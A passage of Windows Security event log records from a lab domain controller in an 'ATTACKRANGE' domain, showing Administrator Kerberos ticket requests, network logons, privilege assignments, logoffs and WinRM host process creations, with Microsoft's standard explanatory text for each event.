TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253399
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253398
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AF6C8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253397
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AF6C8

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253396
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AF6C8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D3D716DE-A45A-CF27-0648-26F1CEADD5DC}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253395
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{D3D716DE-A45A-CF27-0648-26F1CEADD5DC}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253394
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{D3D716DE-A45A-CF27-0648-26F1CEADD5DC}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253393
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253392
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AA874

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253391
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AA018

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253390
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A5EAC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253463
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B46FA

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x964
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xff4
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253462
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B46FA

Process Information:
	New Process ID:		0xff4
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253461
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B46FA

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253460
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B46FA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{3BDDF32C-A205-A474-0B50-7B89394A52BB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253459
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{3BDDF32C-A205-A474-0B50-7B89394A52BB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253458
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3BDDF32C-A205-A474-0B50-7B89394A52BB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253457
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253456
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B46BA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253455
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AF91F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253454
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AFEED

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253453
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B46BA

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253452
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B46BA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{3BDDF32C-A205-A474-0B50-7B89394A52BB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253451
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{3BDDF32C-A205-A474-0B50-7B89394A52BB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253450
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3BDDF32C-A205-A474-0B50-7B89394A52BB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253449
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253448
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B4698

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253447
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B4698

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253446
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B4698
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{3BDDF32C-A205-A474-0B50-7B89394A52BB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253445
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{3BDDF32C-A205-A474-0B50-7B89394A52BB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253444
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3BDDF32C-A205-A474-0B50-7B89394A52BB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253443
Keywords=Audit Success
